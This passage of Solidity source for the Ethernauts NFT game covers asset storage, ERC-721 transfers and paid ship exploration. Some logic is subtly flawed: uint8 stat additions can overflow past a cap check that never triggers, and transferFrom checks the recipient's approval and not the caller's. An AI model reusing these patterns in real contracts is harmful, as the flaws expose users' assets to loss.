EthernautsStorage is EthernautsAccessControl { function EthernautsStorage() public { // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is the initial CTO as well ctoAddress = msg.sender; // the creator of the contract is the initial CTO as well cooAddress = msg.sender; // the creator of the contract is the initial Oracle as well oracleAddress = msg.sender; } /// @notice No tipping! /// @dev Reject all Ether from being sent here. Hopefully, we can prevent user accidents. function() external payable { require(msg.sender == address(this)); } /*** Mapping for Contracts with granted permission ***/ mapping (address => bool) public contractsGrantedAccess; /// @dev grant access for a contract to interact with this contract. /// @param _v2Address The contract address to grant access function grantAccess(address _v2Address) public onlyCTO { // See README.md for updgrade plan contractsGrantedAccess[_v2Address] = true; } /// @dev remove access from a contract to interact with this contract. /// @param _v2Address The contract address to be removed function removeAccess(address _v2Address) public onlyCTO { // See README.md for updgrade plan delete contractsGrantedAccess[_v2Address]; } /// @dev Only allow permitted contracts to interact with this contract modifier onlyGrantedContracts() { require(contractsGrantedAccess[msg.sender] == true); _; } modifier validAsset(uint256 _tokenId) { require(assets[_tokenId].ID > 0); _; } /*** DATA TYPES ***/ /// @dev The main Ethernauts asset struct. Every asset in Ethernauts is represented by a copy /// of this structure. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Asset { // Asset ID is a identifier for look and feel in frontend uint16 ID; // Category = Sectors, Manufacturers, Ships, Objects (Upgrades/Misc), Factories and CrewMembers uint8 category; // The State of an asset: Available, On sale, Up for lease, Cooldown, Exploring uint8 state; // Attributes // byte pos - Definition // 00000001 - Seeded - Offered to the economy by us, the developers. Potentially at regular intervals. // 00000010 - Producible - Product of a factory and/or factory contract. // 00000100 - Explorable- Product of exploration. // 00001000 - Leasable - Can be rented to other users and will return to the original owner once the action is complete. // 00010000 - Permanent - Cannot be removed, always owned by a user. // 00100000 - Consumable - Destroyed after N exploration expeditions. // 01000000 - Tradable - Buyable and sellable on the market. // 10000000 - Hot Potato - Automatically gets put up for sale after acquiring. bytes2 attributes; // The timestamp from the block when this asset was created. uint64 createdAt; // The minimum timestamp after which this asset can engage in exploring activities again. uint64 cooldownEndBlock; // The Asset's stats can be upgraded or changed based on exploration conditions. // It will be defined per child contract, but all stats have a range from 0 to 255 // Examples // 0 = Ship Level // 1 = Ship Attack uint8[STATS_SIZE] stats; // Set to the cooldown time that represents exploration duration for this asset. // Defined by a successful exploration action, regardless of whether this asset is acting as ship or a part. uint256 cooldown; // a reference to a super asset that manufactured the asset uint256 builtBy; } /*** CONSTANTS ***/ // @dev Sanity check that allows us to ensure that we are pointing to the // right storage contract in our EthernautsLogic(address _CStorageAddress) call. bool public isEthernautsStorage = true; /*** STORAGE ***/ /// @dev An array containing the Asset struct for all assets in existence. The Asset UniqueId /// of each asset is actually an index into this array. Asset[] public assets; /// @dev A mapping from Asset UniqueIDs to the price of the token. /// stored outside Asset Struct to save gas, because price can change frequently mapping (uint256 => uint256) internal assetIndexToPrice; /// @dev A mapping from asset UniqueIDs to the address that owns them. All assets have some valid owner address. mapping (uint256 => address) internal assetIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) internal ownershipTokenCount; /// @dev A mapping from AssetUniqueIDs to an address that has been approved to call /// transferFrom(). Each Asset can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) internal assetIndexToApproved; /*** SETTERS ***/ /// @dev set new asset price /// @param _tokenId asset UniqueId /// @param _price asset price function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts { assetIndexToPrice[_tokenId] = _price; } /// @dev Mark transfer as approved /// @param _tokenId asset UniqueId /// @param _approved address approved function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts { assetIndexToApproved[_tokenId] = _approved; } /// @dev Assigns ownership of a specific Asset to an address. /// @param _from current owner address /// @param _to new owner address /// @param _tokenId asset UniqueId function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts { // Since the number of assets is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership assetIndexToOwner[_tokenId] = _to; // When creating new assets _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete assetIndexToApproved[_tokenId]; } } /// @dev A public method that creates a new asset and stores it. This /// method does basic checking and should only be called from other contract when the /// input data is known to be valid. Will NOT generate any event it is delegate to business logic contracts. /// @param _creatorTokenID The asset who is father of this asset /// @param _owner First owner of this asset /// @param _price asset price /// @param _ID asset ID /// @param _category see Asset Struct description /// @param _state see Asset Struct description /// @param _attributes see Asset Struct description /// @param _stats see Asset Struct description function createAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _ID, uint8 _category, uint8 _state, uint8 _attributes, uint8[STATS_SIZE] _stats, uint256 _cooldown, uint64 _cooldownEndBlock ) public onlyGrantedContracts returns (uint256) { // Ensure our data structures are always valid. require(_ID > 0); require(_category > 0); require(_attributes != 0x0); require(_stats.length > 0); Asset memory asset = Asset({ ID: _ID, category: _category, builtBy: _creatorTokenID, attributes: bytes2(_attributes), stats: _stats, state: _state, createdAt: uint64(now), cooldownEndBlock: _cooldownEndBlock, cooldown: _cooldown }); uint256 newAssetUniqueId = assets.push(asset) - 1; // Check it reached 4 billion assets but let's just be 100% sure. require(newAssetUniqueId == uint256(uint32(newAssetUniqueId))); // store price assetIndexToPrice[newAssetUniqueId] = _price; // This will assign ownership transfer(address(0), _owner, newAssetUniqueId); return newAssetUniqueId; } /// @dev A public method that edit asset in case of any mistake is done during process of creation by the developer. This /// This method doesn't do any checking and should only be called when the /// input data is known to be valid. /// @param _tokenId The token ID /// @param _creatorTokenID The asset that create that token /// @param _price asset price /// @param _ID asset ID /// @param _category see Asset Struct description /// @param _state see Asset Struct description /// @param _attributes see Asset Struct description /// @param _stats see Asset Struct description /// @param _cooldown asset cooldown index function editAsset( uint256 _tokenId, uint256 _creatorTokenID, uint256 _price, uint16 _ID, uint8 _category, uint8 _state, uint8 _attributes, uint8[STATS_SIZE] _stats, uint16 _cooldown ) external validAsset(_tokenId) onlyCLevel returns (uint256) { // Ensure our data structures are always valid. require(_ID > 0); require(_category > 0); require(_attributes != 0x0); require(_stats.length > 0); // store price assetIndexToPrice[_tokenId] = _price; Asset storage asset = assets[_tokenId]; asset.ID = _ID; asset.category = _category; asset.builtBy = _creatorTokenID; asset.attributes = bytes2(_attributes); asset.stats = _stats; asset.state = _state; asset.cooldown = _cooldown; } /// @dev Update only stats /// @param _tokenId asset UniqueId /// @param _stats asset state, see Asset Struct description function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].stats = _stats; } /// @dev Update only asset state /// @param _tokenId asset UniqueId /// @param _state asset state, see Asset Struct description function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].state = _state; } /// @dev Update Cooldown for a single asset /// @param _tokenId asset UniqueId /// @param _cooldown asset state, see Asset Struct description function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].cooldown = _cooldown; assets[_tokenId].cooldownEndBlock = _cooldownEndBlock; } /*** GETTERS ***/ /// @notice Returns only stats data about a specific asset. /// @dev it is necessary due solidity compiler limitations /// when we have large qty of parameters it throws StackTooDeepException /// @param _tokenId The UniqueId of the asset of interest. function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) { return assets[_tokenId].stats; } /// @dev return current price of an asset /// @param _tokenId asset UniqueId function priceOf(uint256 _tokenId) public view returns (uint256 price) { return assetIndexToPrice[_tokenId]; } /// @notice Check if asset has all attributes passed by parameter /// @param _tokenId The UniqueId of the asset of interest. /// @param _attributes see Asset Struct description function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) { return assets[_tokenId].attributes & _attributes == _attributes; } /// @notice Check if asset has any attribute passed by parameter /// @param _tokenId The UniqueId of the asset of interest. /// @param _attributes see Asset Struct description function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) { return assets[_tokenId].attributes & _attributes != 0x0; } /// @notice Check if asset is in the state passed by parameter /// @param _tokenId The UniqueId of the asset of interest. /// @param _category see AssetCategory in EthernautsBase for possible states function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) { return assets[_tokenId].category == _category; } /// @notice Check if asset is in the state passed by parameter /// @param _tokenId The UniqueId of the asset of interest. /// @param _state see enum AssetState in EthernautsBase for possible states function isState(uint256 _tokenId, uint8 _state) public view returns (bool) { return assets[_tokenId].state == _state; } /// @notice Returns owner of a given Asset(Token). /// @dev Required for ERC-721 compliance. /// @param _tokenId asset UniqueId function ownerOf(uint256 _tokenId) public view returns (address owner) { return assetIndexToOwner[_tokenId]; } /// @dev Required for ERC-721 compliance /// @notice Returns the number of Assets owned by a specific address. /// @param _owner The owner address to check. function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @dev Checks if a given address currently has transferApproval for a particular Asset. /// @param _tokenId asset UniqueId function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) { return assetIndexToApproved[_tokenId]; } /// @notice Returns the total number of Assets currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256) { return assets.length; } /// @notice List all existing tokens. It can be filtered by attributes or assets with owner /// @param _owner filter all assets by owner function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns( uint256[6][] ) { uint256 totalAssets = assets.length; if (totalAssets == 0) { // Return an empty array return new uint256[6][](0); } else { uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets); uint256 resultIndex = 0; bytes2 hasAttributes = bytes2(_withAttributes); Asset memory asset; for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) { asset = assets[tokenId]; if ( (asset.state != uint8(AssetState.Used)) && (assetIndexToOwner[tokenId] == _owner || _owner == address(0)) && (asset.attributes & hasAttributes == hasAttributes) ) { result[resultIndex][0] = tokenId; result[resultIndex][1] = asset.ID; result[resultIndex][2] = asset.category; result[resultIndex][3] = uint256(asset.attributes); result[resultIndex][4] = asset.cooldown; result[resultIndex][5] = assetIndexToPrice[tokenId]; resultIndex++; } } return result; } } } /// @title The facet of the Ethernauts contract that manages ownership, ERC-721 compliant. /// @notice This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // It interfaces with EthernautsStorage provinding basic functions as create and list, also holds // reference to logic contracts as Auction, Explore and so on /// @author Ethernatus - Fernando Pauer /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 contract EthernautsOwnership is EthernautsAccessControl, ERC721 { /// @dev Contract holding only data. EthernautsStorage public ethernautsStorage; /*** CONSTANTS ***/ /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "Ethernauts"; string public constant symbol = "ETNT"; /********* ERC 721 - COMPLIANCE CONSTANTS AND FUNCTIONS ***************/ /**********************************************************************/ bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); /*** EVENTS ***/ // Events as per ERC-721 event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed owner, address indexed approved, uint256 tokens); /// @dev When a new asset is create it emits build event /// @param owner The address of asset owner /// @param tokenId Asset UniqueID /// @param assetId ID that defines asset look and feel /// @param price asset price event Build(address owner, uint256 tokenId, uint16 assetId, uint256 price); function implementsERC721() public pure returns (bool) { return true; } /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. ERC-165 and ERC-721. /// @param _interfaceID interface signature ID function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Checks if a given address is the current owner of a particular Asset. /// @param _claimant the address we are validating against. /// @param _tokenId asset UniqueId, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return ethernautsStorage.ownerOf(_tokenId) == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Asset. /// @param _claimant the address we are confirming asset is approved for. /// @param _tokenId asset UniqueId, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return ethernautsStorage.approvedFor(_tokenId) == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Assets on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { ethernautsStorage.approve(_tokenId, _approved); } /// @notice Returns the number of Assets owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ethernautsStorage.balanceOf(_owner); } /// @dev Required for ERC-721 compliance. /// @notice Transfers a Asset to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// Ethernauts specifically) or your Asset may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Asset to transfer. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any assets // (except very briefly after it is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the storage contract to prevent accidental // misuse. Auction or Upgrade contracts should only take ownership of assets // through the allow + transferFrom flow. require(_to != address(ethernautsStorage)); // You can only send your own asset. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. ethernautsStorage.transfer(msg.sender, _to, _tokenId); } /// @dev Required for ERC-721 compliance. /// @notice Grant another address the right to transfer a specific Asset via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Asset that can be transferred if this call succeeds. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Asset owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Asset to be transferred. /// @param _to The address that should take ownership of the Asset. Can be any address, /// including the caller. /// @param _tokenId The ID of the Asset to be transferred. function _transferFrom( address _from, address _to, uint256 _tokenId ) internal { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any assets (except for used assets). require(_owns(_from, _tokenId)); // Check for approval and valid ownership require(_approvedFor(_to, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). ethernautsStorage.transfer(_from, _to, _tokenId); } /// @dev Required for ERC-721 compliance. /// @notice Transfer a Asset owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Asset to be transfered. /// @param _to The address that should take ownership of the Asset. Can be any address, /// including the caller. /// @param _tokenId The ID of the Asset to be transferred. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { _transferFrom(_from, _to, _tokenId); } /// @dev Required for ERC-721 compliance. /// @notice Allow pre-approved user to take ownership of a token /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. function takeOwnership(uint256 _tokenId) public { address _from = ethernautsStorage.ownerOf(_tokenId); // Safety check to prevent against an unexpected 0x0 default. require(_from != address(0)); _transferFrom(_from, msg.sender, _tokenId); } /// @notice Returns the total number of Assets currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256) { return ethernautsStorage.totalSupply(); } /// @notice Returns owner of a given Asset(Token). /// @param _tokenId Token ID to get owner. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = ethernautsStorage.ownerOf(_tokenId); require(owner != address(0)); } /// @dev Creates a new Asset with the given fields. ONly available for C Levels /// @param _creatorTokenID The asset who is father of this asset /// @param _price asset price /// @param _assetID asset ID /// @param _category see Asset Struct description /// @param _attributes see Asset Struct description /// @param _stats see Asset Struct description function createNewAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _assetID, uint8 _category, uint8 _attributes, uint8[STATS_SIZE] _stats ) external onlyCLevel returns (uint256) { // owner must be sender require(_owner != address(0)); uint256 tokenID = ethernautsStorage.createAsset( _creatorTokenID, _owner, _price, _assetID, _category, uint8(AssetState.Available), _attributes, _stats, 0, 0 ); // emit the build event Build( _owner, tokenID, _assetID, _price ); return tokenID; } /// @notice verify if token is in exploration time /// @param _tokenId The Token ID that can be upgraded function isExploring(uint256 _tokenId) public view returns (bool) { uint256 cooldown; uint64 cooldownEndBlock; (,,,,,cooldownEndBlock, cooldown,) = ethernautsStorage.assets(_tokenId); return (cooldown > now) || (cooldownEndBlock > uint64(block.number)); } } /// @title The facet of the Ethernauts Logic contract handle all common code for logic/business contracts /// @author Ethernatus - Fernando Pauer contract EthernautsLogic is EthernautsOwnership { // Set in case the logic contract is broken and an upgrade is required address public newContractAddress; /// @dev Constructor function EthernautsLogic() public { // the creator of the contract is the initial CEO, COO, CTO ceoAddress = msg.sender; ctoAddress = msg.sender; cooAddress = msg.sender; oracleAddress = msg.sender; // Starts paused. paused = true; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCTO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @dev set a new reference to the NFT ownership contract /// @param _CStorageAddress - address of a deployed contract implementing EthernautsStorage. function setEthernautsStorageContract(address _CStorageAddress) public onlyCLevel whenPaused { EthernautsStorage candidateContract = EthernautsStorage(_CStorageAddress); require(candidateContract.isEthernautsStorage()); ethernautsStorage = candidateContract; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { require(ethernautsStorage != address(0)); require(newContractAddress == address(0)); // require this contract to have access to storage contract require(ethernautsStorage.contractsGrantedAccess(address(this)) == true); // Actually unpause the contract. super.unpause(); } // @dev Allows the COO to capture the balance available to the contract. function withdrawBalances(address _to) public onlyCLevel { _to.transfer(this.balance); } /// return current contract balance function getBalance() public view onlyCLevel returns (uint256) { return this.balance; } } /// @title The facet of the Ethernauts Explore contract that send a ship to explore the deep space. /// @notice An owned ship can be send on an expedition. Exploration takes time // and will always result in “success”. This means the ship can never be destroyed // and always returns with a collection of loot. The degree of success is dependent // on different factors as sector stats, gamma ray burst number and ship stats. // While the ship is exploring it cannot be acted on in any way until the expedition completes. // After the ship returns from an expedition the user is then rewarded with a number of objects (assets). /// @author Ethernatus - Fernando Pauer contract EthernautsExplore is EthernautsLogic { /// @dev Delegate constructor to Nonfungible contract. function EthernautsExplore() public EthernautsLogic() {} /*** EVENTS ***/ /// emit signal to anyone listening in the universe event Explore(uint256 shipId, uint256 sectorID, uint256 crewId, uint256 time); event Result(uint256 shipId, uint256 sectorID); /*** CONSTANTS ***/ uint8 constant STATS_CAPOUT = 2**8 - 1; // all stats have a range from 0 to 255 // @dev Sanity check that allows us to ensure that we are pointing to the // right explore contract in our EthernautsCrewMember(address _CExploreAddress) call. bool public isEthernautsExplore = true; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; uint256 public TICK_TIME = 15; // time is always in minutes // exploration fee uint256 public percentageCut = 90; int256 public SPEED_STAT_MAX = 30; int256 public RANGE_STAT_MAX = 20; int256 public MIN_TIME_EXPLORE = 60; int256 public MAX_TIME_EXPLORE = 2160; int256 public RANGE_SCALE = 2; /// @dev Sector stats enum SectorStats {Size, Threat, Difficulty, Slots} /// @dev hold all ships in exploration uint256[] explorers; /// @dev A mapping from Ship token to the exploration index. mapping (uint256 => uint256) public tokenIndexToExplore; /// @dev A mapping from Asset UniqueIDs to the sector token id. mapping (uint256 => uint256) public tokenIndexToSector; /// @dev A mapping from exploration index to the crew token id. mapping (uint256 => uint256) public exploreIndexToCrew; /// @dev A mission counter for crew. mapping (uint256 => uint16) public missions; /// @dev A mapping from Owner Cut (wei) to the sector token id. mapping (uint256 => uint256) public sectorToOwnerCut; mapping (uint256 => uint256) public sectorToOracleFee; /// @dev Get a list of ship exploring our universe function getExplorerList() public view returns( uint256[3][] ) { uint256[3][] memory tokens = new uint256[3][](50); uint256 index = 0; for(uint256 i = 0; i < explorers.length && index < 50; i++) { if (explorers[i] > 0) { tokens[index][0] = explorers[i]; tokens[index][1] = tokenIndexToSector[explorers[i]]; tokens[index][2] = exploreIndexToCrew[i]; index++; } } if (index == 0) { // Return an empty array return new uint256[3][](0); } else { return tokens; } } /// @dev Get a list of ship exploring our universe /// @param _shipTokenId The Token ID that represents a ship function getIndexByShip(uint256 _shipTokenId) public view returns( uint256 ) { for(uint256 i = 0; i < explorers.length; i++) { if (explorers[i] == _shipTokenId) { return i; } } return 0; } function setOwnerCut(uint256 _sectorId, uint256 _ownerCut) external onlyCLevel { sectorToOwnerCut[_sectorId] = _ownerCut; } function setOracleFee(uint256 _sectorId, uint256 _oracleFee) external onlyCLevel { sectorToOracleFee[_sectorId] = _oracleFee; } function setTickTime(uint256 _tickTime) external onlyCLevel { TICK_TIME = _tickTime; } function setPercentageCut(uint256 _percentageCut) external onlyCLevel { percentageCut = _percentageCut; } function setMissions(uint256 _tokenId, uint16 _total) public onlyCLevel { missions[_tokenId] = _total; } /// @notice Explore a sector with a defined ship. Sectors contain a list of Objects that can be given to the players /// when exploring. Each entry has a Drop Rate and are sorted by Sector ID and Drop rate. /// The drop rate is a whole number between 0 and 1,000,000. 0 is 0% and 1,000,000 is 100%. /// Every time a Sector is explored a random number between 0 and 1,000,000 is calculated for each available Object. /// If the final result is lower than the Drop Rate of the Object, that Object will be rewarded to the player once /// Exploration is complete. Only 1 to 5 Objects maximum can be dropped during one exploration. /// (FUTURE VERSIONS) The final number will be affected by the user’s Ship Stats. /// @param _shipTokenId The Token ID that represents a ship /// @param _sectorTokenId The Token ID that represents a sector /// @param _crewTokenId The Token ID that represents a crew function explore(uint256 _shipTokenId, uint256 _sectorTokenId, uint256 _crewTokenId) payable external whenNotPaused { // charge a fee for each exploration when the results are ready require(msg.value >= sectorToOwnerCut[_sectorTokenId]); // check if Asset is a ship or not require(ethernautsStorage.isCategory(_shipTokenId, uint8(AssetCategory.Ship))); // check if _sectorTokenId is a sector or not require(ethernautsStorage.isCategory(_sectorTokenId, uint8(AssetCategory.Sector))); // Ensure the Ship is in available state, otherwise it cannot explore require(ethernautsStorage.isState(_shipTokenId, uint8(AssetState.Available))); // ship could not be in exploration require(tokenIndexToExplore[_shipTokenId] == 0); require(!isExploring(_shipTokenId)); // check if explorer is ship owner require(msg.sender == ethernautsStorage.ownerOf(_shipTokenId)); // check if owner sector is not empty address sectorOwner = ethernautsStorage.ownerOf(_sectorTokenId); // check if there is a crew and validating crew member if (_crewTokenId > 0) { // crew member should not be in exploration require(!isExploring(_crewTokenId)); // check if Asset is a crew or not require(ethernautsStorage.isCategory(_crewTokenId, uint8(AssetCategory.CrewMember))); // check if crew member is same owner require(msg.sender == ethernautsStorage.ownerOf(_crewTokenId)); } /// store exploration data tokenIndexToExplore[_shipTokenId] = explorers.push(_shipTokenId) - 1; tokenIndexToSector[_shipTokenId] = _sectorTokenId; uint8[STATS_SIZE] memory _shipStats = ethernautsStorage.getStats(_shipTokenId); uint8[STATS_SIZE] memory _sectorStats = ethernautsStorage.getStats(_sectorTokenId); // check if there is a crew and store data and change ship stats if (_crewTokenId > 0) { /// store crew exploration data exploreIndexToCrew[tokenIndexToExplore[_shipTokenId]] = _crewTokenId; missions[_crewTokenId]++; //// grab crew stats and merge with ship uint8[STATS_SIZE] memory _crewStats = ethernautsStorage.getStats(_crewTokenId); _shipStats[uint256(ShipStats.Range)] += _crewStats[uint256(ShipStats.Range)]; _shipStats[uint256(ShipStats.Speed)] += _crewStats[uint256(ShipStats.Speed)]; if (_shipStats[uint256(ShipStats.Range)] > STATS_CAPOUT) { _shipStats[uint256(ShipStats.Range)] = STATS_CAPOUT; } if (_shipStats[uint256(ShipStats.Speed)] > STATS_CAPOUT) { _shipStats[uint256(ShipStats.Speed)] = STATS_CAPOUT; } } /// set exploration time uint256 time = uint256(_explorationTime( _shipStats[uint256(ShipStats.Range)], _shipStats[uint256(ShipStats.Speed)], _sectorStats[uint256(SectorStats.Size)] )); // exploration time in minutes converted to seconds time *= 60; uint64 _cooldownEndBlock = uint64((time/secondsPerBlock) + block.number); ethernautsStorage.setAssetCooldown(_shipTokenId, now + time, _cooldownEndBlock); // check if there is a crew store data and set crew exploration time if (_crewTokenId > 0) { /// store crew exploration time ethernautsStorage.setAssetCooldown(_crewTokenId, now + time, _cooldownEndBlock); } // to avoid mistakes and charge unnecessary extra fees uint256 feeExcess = SafeMath.sub(msg.value, sectorToOwnerCut[_sectorTokenId]); uint256 payment = uint256(SafeMath.div(SafeMath.mul(msg.value, percentageCut), 100)) - sectorToOracleFee[_sectorTokenId]; /// emit signal to anyone listening in the universe Explore(_shipTokenId, _sectorTokenId, _crewTokenId, now + time); // keeping oracle accounts with balance oracleAddress.transfer(sectorToOracleFee[_sectorTokenId]); // paying sector owner sectorOwner.transfer(payment); // send excess back to explorer msg.sender.transfer(feeExcess); } /// @notice Exploration is complete and at most 10 Objects will return during one exploration. /// @param _shipTokenId The Token ID that represents a ship and can explore /// @param _sectorTokenId The Token ID that represents a sector and can be explored /// @param _IDs that represents a object returned from exploration /// @param _attributes that represents attributes for each object returned from exploration /// @param _stats that represents all stats for each object returned from exploration function explorationResults( uint256 _shipTokenId, uint256 _sectorTokenId, uint16[10] _IDs, uint8[10] _attributes, uint8[STATS_SIZE][10] _stats ) external onlyOracle { uint256 cooldown; uint64 cooldownEndBlock; uint256 builtBy; (,,,,,cooldownEndBlock, cooldown, builtBy) = ethernautsStorage.assets(_shipTokenId); address owner = ethernautsStorage.ownerOf(_shipTokenId); require(owner != address(0)); /// create objects returned from exploration uint256 i = 0; for (i = 0; i < 10 && _IDs[i] > 0; i++) { _buildAsset( _sectorTokenId, owner, 0, _IDs[i], uint8(AssetCategory.Object), uint8(_attributes[i]), _stats[i], cooldown, cooldownEndBlock ); } // to guarantee at least 1 result per exploration require(i > 0); /// remove from explore list explorers[tokenIndexToExplore[_shipTokenId]] = 0; delete tokenIndexToExplore[_shipTokenId]; delete tokenIndexToSector[_shipTokenId]; /// emit signal to anyone listening in the universe Result(_shipTokenId, _sectorTokenId); } /// @notice Cancel ship exploration in case it get stuck /// @param _shipTokenId The Token ID that represents a ship and can explore function cancelExplorationByShip( uint256 _shipTokenId ) external onlyCLevel { uint256 index = tokenIndexToExplore[_shipTokenId]; if (index > 0) { /// remove from explore list explorers[index] = 0; if (exploreIndexToCrew[index] > 0) { delete exploreIndexToCrew[index]; } } delete tokenIndexToExplore[_shipTokenId]; delete tokenIndexToSector[_shipTokenId]; } /// @notice Cancel exploration in case it get stuck /// @param _index The exploration position that represents a exploring ship function cancelExplorationByIndex( uint256 _index ) external onlyCLevel { uint256 shipId = explorers[_index]; /// remove from exploration list explorers[_index] = 0; if (shipId > 0) { delete tokenIndexToExplore[shipId]; delete tokenIndexToSector[shipId]; } if (exploreIndexToCrew[_index] > 0) { delete exploreIndexToCrew[_index]; } } /// @notice Add exploration in case contract needs to be add trxs from previous contract /// @param _shipTokenId The Token ID that represents a ship /// @param _sectorTokenId The Token ID that represents a sector /// @param _crewTokenId The Token ID that represents a crew function addExplorationByShip( uint256 _shipTokenId, uint256 _sectorTokenId, uint256 _crewTokenId ) external onlyCLevel whenPaused { uint256 index = explorers.push(_shipTokenId) - 1; /// store exploration data tokenIndexToExplore[_shipTokenId] = index; tokenIndexToSector[_shipTokenId] = _sectorTokenId; // check if there is a crew and store data and change ship stats if (_crewTokenId > 0) { /// store crew exploration data exploreIndexToCrew[index] = _crewTokenId; missions[_crewTokenId]++; } ethernautsStorage.setAssetCooldown(_shipTokenId, now, uint64(block.number)); } /// @dev Creates a new Asset with the given fields. ONly available for C Levels /// @param _creatorTokenID The asset who is father of this asset /// @param _price asset price /// @param _assetID asset ID /// @param _category see Asset Struct description /// @param _attributes see Asset Struct description /// @param _stats see Asset Struct description /// @param _cooldown see Asset Struct description /// @param _cooldownEndBlock see Asset Struct description function _buildAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _assetID, uint8 _category, uint8 _attributes, uint8[STATS_SIZE] _stats, uint256 _cooldown, uint64 _cooldownEndBlock ) private returns (uint256) { uint256 tokenID = ethernautsStorage.createAsset( _creatorTokenID, _owner, _price, _assetID, _category, uint8(AssetState.Available), _attributes, _stats, _cooldown, _cooldownEndBlock ); // emit the build event Build( _owner, tokenID, _assetID, _price ); return tokenID; } /// @notice Exploration Time: The time it takes to explore a Sector is dependent on the Sector Size /// along with the Ship’s Range and Speed. /// @param _shipRange ship range /// @param _shipSpeed ship speed /// @param _sectorSize sector size function _explorationTime( uint8 _shipRange, uint8 _shipSpeed, uint8 _sectorSize ) private view returns (int256) { int256 minToExplore = 0; minToExplore = SafeMath.min(_shipSpeed, SPEED_STAT_MAX) - 1; minToExplore = -72 * minToExplore; minToExplore += 